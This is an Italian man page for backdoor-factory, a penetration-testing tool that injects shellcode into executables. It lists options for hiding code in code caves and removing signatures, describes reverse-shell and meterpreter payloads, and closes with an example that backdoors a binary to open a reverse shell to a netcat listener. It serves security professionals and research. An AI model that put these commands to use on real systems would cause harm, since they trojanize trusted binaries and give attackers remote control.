backdoor-factory - manuale di riferimento, opzioni, esempi di comandi


NOME

backdoor-factory - iniettare shellcode predefinito o definito dall'utente nei binari

SINOSSI

backdoor-factory [options]

DESCRIZIONE

backdoor-factory corregge i binari eseguibili con lo shellcode desiderato dall'utente e continua la normale esecuzione dello stato prepatchato.

Questo strumento è solo per professionisti della sicurezza e ricercatori.

Questo strumento non supporta l'eseguibile ELF rilocabile (cioè compilato con l'opzione -fPIE, suggerita dai requisiti di rafforzamento Debian, vedi https://wiki.debian.org/Hardening)

I binari come ssh potrebbero non essere ceduti correttamente, come lo sono i binari come dolphin (al momento della stesura di questa pagina man).

OPZIONI:

-h, --help

mostra questo messaggio di aiuto ed esci

-f FILE, --file=FILE

Archivia nella backdoor

-s SHELL, --shell=SHELL

Payload disponibili per l'uso. Usa "mostra" per vedere i payload.

-H HOST, --hostip=HOST

IP del C2 per connessioni inverse.

-P PORT, --port=PORT

La porta a cui riconnettersi per le shell inverse o su cui restare in ascolto per le shell bind

-J, --cave_jumping

Seleziona questa opzione se vuoi usare il code cave jumping per nascondere ulteriormente il tuo shellcode nel binario.

-a, --add_new_section

Obbligo di aggiungere una nuova sezione all'exe (migliore successo) ma meno evitamento

-U SUPPLIED_SHELLCODE, --user_shellcode=SUPPLIED_SHELLCODE

Shellcode fornito dall'utente, assicurati che corrisponda all'architettura che stai prendendo di mira.

-c, --cave

Il flag cave troverà code cave che possono essere utilizzate per nascondere lo shellcode. Questo stamperà su tutti i code cave di una dimensione specifica. Il flag -l può essere utilizzato con questa impostazione.

-l SHELL_LEN, --shell_length=SHELL_LEN

Da usare con -c per aiutare a trovare code cave di diverse dimensioni

-o OUTPUT, --output-file=OUTPUT

Il percorso del file di output backdoor. Le directory principali devono esistere

-n NSECTION, --section=NSECTION

Il nuovo nome della sezione deve contenere meno di sette caratteri

-d DIR, --directory=DIR

Questa è la posizione dei file di cui vuoi eseguire il backdoor. È possibile rendere più veloce una directory di backdoor di file forzando l'allegato di un codecave all'exe utilizzando l'impostazione -a.

-w, --change_access

Questo flag cambia la sezione che ospita il codecave in RWE. A volte questo è necessario. Abilitato per impostazione predefinita. Se disabilitata, la backdoor potrebbe fallire.

-i, --injector

Questo comando trasforma la backdoor factory in un meccanismo di caccia e shellcode inject. Modificare le impostazioni target nel modulo dell'iniettore.

-u SUFFIX, --suffix=SUFFIX

Da utilizzare con l'iniettore, inserisce un suffisso sul file originale per un facile recupero

-D, --delete_original

Da utilizzare con modulo iniettore. Questo comando cancella il file originale. Non per l'uso in sistemi di produzione. (Autore non responsabile per usi stupidi.)

-O DISK_OFFSET, --disk_offset=DISK_OFFSET

Punto iniziale sull'offset del disco, in byte. Alcuni autori vogliono offuscare il loro offset su disco per evitare il reverse engineering, se trovi uno di quei file usa questo flag, dopo aver trovato l'offset.

-S, --support_check

Per determinare se il file è supportato da BDF prima di eseguire il backdoor del file. Da usare da solo o con verbose. Questo controllo avviene automaticamente se si tenta il backdooring.

-M, --cave-miner

Uso futuro, per aiutare a determinare il più piccolo shellcode possibile in un file PE

-q, --no_banner

Uccide lo striscione.

-v, --verbose

Per l'output delle informazioni di debug.

-T IMAGE_TYPE, --image-type=IMAGE_TYPE

Solo file binari di tipo ALL, x86 o x64. Predefinito=TUTTI

-Z, --zero_cert

Consente la sovrascrittura del puntatore alla tabella del certificato PE rimuovendo efficacemente il certificato dal file binario a tutti gli effetti.

-R, --runas_admin

SPERIMENTALE Controlla i binari PE per 'requestedExecutionLevel level="highestAvailable"'. Se questa stringa è inclusa nel file binario, deve essere eseguita come system/admin. Se non è in modalità Support Check, tenterà di applicare la patch maximumAvailable al manifest se esiste la voce requiredExecutionLevel.

-L, --patch_dll

Usa questa impostazione se NON vuoi patchare le DLL. Patch per impostazione predefinita.

-F FAT_PRIORITY, --fat_priority=FAT_PRIORITY

Per il formato MACH-O. Se file fat, concentrati su quale arco rattoppare. L'impostazione predefinita è x64. Per forzare x86 usa -F x86, per forzare entrambi gli archi usa -F ALL.

-B BEACON, --beacon=BEACON

Per i payload che possono essere segnalati, imposta il tempo in secondi

-m PATCH_METHOD, --patch-method=PATCH_METHOD

Metodi di patch per file PE, 'manuale', 'automatico', sostituzione e onionduke

-b SUPPLIED_BINARY, --user_malware=SUPPLIED_BINARY

Per il duca di cipolla. Fornisci il binario desiderato.

-X, --xp_mode

Predefinito: NON supporta macchine legacy XP, usa -X per supportare XP. Per impostazione predefinita, il binario si bloccherà su macchine XP (ad esempio sandbox)

-A, --idt_in_cave

SPERIMENTALE Di default viene creata una nuova Import Directory Table in una nuova sezione, chiamando questo flag verrà inserita in una code cave. Ciò può causare errori di bianry in alcuni casi. Prova prima sui file binari di destinazione.

-C, --code_sign

Per quelli con certificati di codifica che desiderano firmare solo binari PE. Assegna un nome rispettivamente alla chiave di firma e alla chiave privatasigningcert.cer esigningPrivateKey.pem nella directory certs, spetta a te ottenere i certificati di firma.

-p, --preprocess

Per eseguire gli script di preelaborazione nella directory di preelaborazione

SUGLI SHELLCODE

Ci sono vari shellcode predefiniti in backdoor-factory. La loro disponibilità dipende dal tipo di target (ELF32, ELF64, PE32...). L'elenco degli shellcode è definito di seguito.

per tutti basati su Intel (architettura x86 e x86_64)

reverse_shell_tcp

serve: un host remoto e una porta da impostare permette: accesso remoto alla shell

delay_reverse_shell_tcp

serve: un host remoto e una porta da impostare permette: accesso remoto alla shell

beaconing_reverse_shell_tcp

necessita: di un beacon, di un host remoto e di una porta da impostare permette: accesso remoto alla shell

user_supplied_shellcode

bisogno: uno shellcode definito dall'utente pronto per l'iniezione permessi: dipendono dallo shellcode

Shellcode specifici per Linux

reverse_tcp_stager

necessità: permessi:

Codici shell di Windows PE32 exe

reverse_shell_tcp_inline

necessita: di un host remoto e di una porta da impostare permette: accesso remoto alla shell

reverse_shell_tcp_stager_threaded

necessita: di un host remoto e di una porta da impostare consente: Iniettare la DLL del server meterpreter tramite il payload Reflective Dll Injection

meterpreter_reverse_https_threaded

necessita: un host remoto e una porta da impostare permette: meterpreter su trasporto https

user_applied_shellcode_threaded

necessita: uno shellcode definito dall'utente pronto per l'iniezione permessi: dipendono dallo shellcode

iat_reverse_tcp_inline

necessita: un host remoto e una porta da impostare permette:

iat_reverse_tcp_inline_threaded

necessita: un host remoto e una porta da impostare permette:

iat_reverse_tcp_stager_threaded

necessita: di un host remoto e di una porta da impostare consente: Iniettare la DLL del server meterpreter tramite il payload Reflective Dll Injection

iat_user_applied_shellcode_threaded

necessita: uno shellcode definito dall'utente pronto per l'iniezione permessi: dipendono dallo shellcode

Codici shell di Windows PE64 exe

delay_reverse_shell_tcp

necessita: di un host remoto e di una porta da impostare permette: accesso remoto alla shell

reverse_shell_tcp

necessita: di un host remoto e di una porta da impostare permette: accesso remoto alla shell

beaconing_reverse_shell_tcp

necessita: di un beacon, di un host remoto e di una porta da impostare permette: accesso remoto alla shell

user_supplied_shellcode

necessita: uno shellcode definito dall'utente pronto per l'iniezione permessi: dipendono dallo shellcode

ESEMPI

Esempio di cavecoding di un binario ELF, integrando un accesso shell remoto tramite un listener TCP remoto (ad esempio netcat):

backdoor-factory -f /usr/bin/dolphin -H 172.16.0.15 -P 8080 -s reverse_shell_tcp

Sull'host dietro l'IP 172.16.0.15, avvia netcat in modalità di ascolto:

netcat -l 172.16.0.15 8080

Sulla destinazione, avvia il binario backdoor:

./backdoored/dolphin

Ora, sull'host 172.16.0.15, usa semplicemente la tua shell.

STORIA

Maggio 2017, originariamente compilato da Philippe Thierry (phil at reseau-libre dot com)